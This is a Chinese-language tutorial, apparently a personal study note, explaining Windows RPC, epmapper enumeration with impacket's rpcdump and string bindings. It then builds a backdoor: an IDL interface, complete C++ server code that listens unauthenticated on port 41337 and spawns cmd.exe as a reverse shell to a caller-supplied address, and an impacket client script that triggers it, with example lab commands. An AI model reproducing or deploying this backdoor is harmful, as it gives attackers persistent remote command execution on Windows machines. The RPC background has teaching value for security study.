RPC简介
全称为Remote Procedure Call(远程过程调用)是Windows操作系统内部的一种机制,应用于程序之间的相互
通信RPC 的总体思路是可以编写在本地和远程执行代码的应用程序。
误区:似乎像远程服务器的基本 TCP 连接。但是在使用RPC接口的过程中,我们不需要处理网络的输入/输出或
者TCP栈。事实上与网络相关的一切都由RPC runtime library(rpcrt4.dll) 和一个存根处理。而存根目的是将数
据打包(即序列化)到一个数据存根中。
epmapper
RPC 架构中最重要的服务之一:epmapper(RPC Endpoint Mapper)此服务负责列出公开的接口。
可使用impacket包中的rpcdumps.py列出所有的RPC接口
python rpcdump.py @10.211.55.3 > 3.txt
RPC工作流程
调用 RPC 接口的过程依赖于两个步骤。
首先,客户端将使用所谓的字符串绑定连接到端点
例:SAMR 接口,系统管理员使用此界面远程管理用户和组。
Prtocol:用于与远程服务器通信的协议
Provider:提供的程序,EXE 或 DLL
UUID:WindowsOS通用唯一识别码 (Universally Unique Identifier)
Bindings:绑定字符串。
字符串绑定定义了如何到达 RPC 接口
字符串绑定的统一格式ObjectUUID@ProtocolSequence:NetworkAddress[Endpoint,Option]
ObjectUUID:我们希望连接的UUID以及版本
ProtocolSequence:用于通过网络传输数据的协议。共有三种主要协议
NCACN:RPC over a TCP connection
NCADG:RPC over a UDP connection
NCALRPC:RPC through a local connection
NetworkAddress:IP
Endpoint:远程接口地址
ncacn_ip_tcp:10.211.55.3[49664]
我们可以通过在端口 49664 上连接到 IP 10.211.55.3来推断出 RPC 接口是可达的。如果我们取这个:
ncalrpc:[samss lpc]
我们可以看到没有 NetworkAddress。这是因为此字符串绑定依赖于ncalrpc协议序列,这意味着 RPC接
口只能通过调用名为samss lpc的端点在本地访问。最后,如果我们采用以下方法:
ncacn_np:\\LHC[\pipe\lsass]
我们可以通过将位于名为 \\LHC的计算机上的 SMB 共享连接到名称管道 \pipe\lsass 来推断该接口是可访问的。
下一步是绑定到接口
我们需要 epmapper 再次公开的两条信息:接口的 UUID 及其版本。
绑定过程将在 RPC 客户端和 RPC 服务器之间创建逻辑连接
抓包分析:
前三个包为标准的TCP连接包,端点正在侦听端口 41337(这是我们选择的后门端口),对应第一步
意思是通过10.211.55.3:41337连接到端口,字符串绑定如下:
ncacn_ip_tcp:10.211.55.3[41337]
后四个紫色的数据包构成了 DCERPC (**分布式计算环境中的 RPC,就像函数原型。理解不深)**绑定操作和 RPC 调用
第一个数据包尝试绑定 UUID 和接口版本
第二个数据包是来自RPC服务器的回复,已接收绑定
第三个包含客户端以序列化格式发送到 RPC 接口的数据存根
一旦数据被格式化,它将被转发到 RPC runtime library。
服务器存根反序列化数据并将其转发到服务器代码。
接口构建
定义我们接口的 IDL 文件
[
uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33),
version(1.0),
implicit_handle(handle_t ImplicitHandle)
]
interface RemotePrivilegeCall
{
void SendReverseShell(
[in, string] wchar_t* ip_address,
[in] int port
);
}
前一部分是MIDL 接口头,它包含接口的 UUID(我随机选择)、它的版本和要使用的绑定句柄的类型。
下一部分是MIDL 接口主体,其中包含我们的 RPC 接口函数的定义
使用midl.exe编译为C代码
– 一个客户端存根 (RemotePrivilegeCall_c.c)
– 一个服务器存根 (RemotePrivilege_s.c)
– 每个存根中包含一个标头
服务端(目标机器)代码
#include <stdlib.h>
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include "RemotePrivilegeCall.h"
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
#pragma comment(lib, "rpcrt4.lib")
// Links the ws2_32.lib which contains the socket functions
#pragma comment(lib, "ws2_32.lib")
// Function that sends the reverse shell
void SendReverseShell(wchar_t* ip_address, int port){
printf("Sending reverse shell to: %ws:%d\\n", ip_address, port);
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr_ascii[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
sprintf(ip_addr_ascii, "%ws", ip_address );
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned in
t)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip_addr_ascii);
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
LPSTR commandLine = "cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}
// Security callback function
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle){
return RPC_S_OK; // Whoever binds to the interface, we will allow the connection
}
int main()
{
RPC_STATUS status; // Used to store the RPC function returns
RPC_BINDING_VECTOR* pbindingVector = 0;
// Specify the Rpc endpoints options
status = RpcServerUseProtseqEpW(
(RPC_WSTR)L"ncacn_ip_tcp", // Endpoint to contact
RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Default value
(RPC_WSTR)L"41337", // Listening port
NULL // Pointer to a security context (we don't care about that)
);
// Register the interface to the RPC runtime
status = RpcServerRegisterIf2(
RemotePrivilegeCall_v1_0_s_ifspec, // Name of the interface defined in RemotePrivilegeCall.h
NULL, // UUID to bind to (NULL means the one from the MIDL file)
NULL, // Interface to use (NULL means the one from the MIDL file)
RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Numbers of simultaneous connections
(unsigned)-1, // Maximum size of data block received
SecurityCallback // Name of the function that acts as the security callback
);
// Register the interface to the epmapper
status = RpcServerInqBindings(&pbindingVector);
status = RpcEpRegisterW(
RemotePrivilegeCall_v1_0_s_ifspec, // Name of the interface defined in RemotePrivilegeCall.h
pbindingVector, // Structure contening the binding vectors
0, //
(RPC_WSTR)L"Backdoor RPC interface" // Name of the interface as exposed on port 135
);
// Launch the interface
status = RpcServerListen(
1, // Minimum number of connections
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Maximum number of connetions
FALSE // Starts the interface immediately
);
}
// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size){
return malloc(size);
}
// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p){
free(p);
}
使用cl.exe将服务器程序和服务器存根编译成一个二进制文件
cl.exe Server.cpp RemotePrivilegeCall_s.c
验证方式:
使用rpcdumps.py枚举 epmapper
已能够正常工作
客户端代码
import argparse
import time
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
parser = argparse.ArgumentParser()
parser.add_argument("-rip", help="Remote computer to target", dest="target_ip", type=str, required=True)
parser.add_argument("-rport", help="IP of the remote procedure listener", dest="port", type=int, required=True)
parser.add_argument("-lip", help="Local IP to receive the reverse shell", dest="lip", type=str, required=True)
parser.add_argument("-lport", help="Local port to receive the reverse shell", dest="lport", type=int, required=True)
args = parser.parse_args()
target_ip = args.target_ip
port = args.port
lip = args.lip
lport = args.lport
class SendReverseShell(NDRCALL):
structure = (
('ip_address', WSTR),
('port', "<i")
)
# Creates the string binding
stringBinding = r'ncacn_ip_tcp:{}[{}]'.format(target_ip, port)
# Connects to the remote endpoint
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
dce.connect()
print(" Connected to the remote target")
# Casts the UUID string and version of the interface into a UUID object and binds to the interface
interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
dce.bind(interface_uuid)
print(" Binded to AB4ED934-1293-10DE-BC12-AE18C48DEF33")
print(" Formatting the client stub")
# Creates the client stub and pack its data so it valid
query = SendReverseShell()
query['ip_address'] = f"{lip}\\x00"
query['port'] = lport
print(" Calling the remote procedure")
try:
# Calls the function number 0 (the first and only function exposed by our
interface) and pass the data
dce.call(0, query)
# Reading the answer of the RPC server
dce.recv()
except Exception as e:
print(f"[!] ERROR: {e}")
finally:
print(" Disconecting from the server")
# Disconnecting from the remote target
dce.disconnect()
可调用impacket包实现
python trigger.py -rip 10.211.55.3 -rport 41337 -lip 10.211.55.10 -lport 9812
rip:目标机器
rport:目标机器连接端口
lip:反弹shell监听机器
lport:监听端口
测试
攻击机
跳板机nc反弹shell
目标机器
|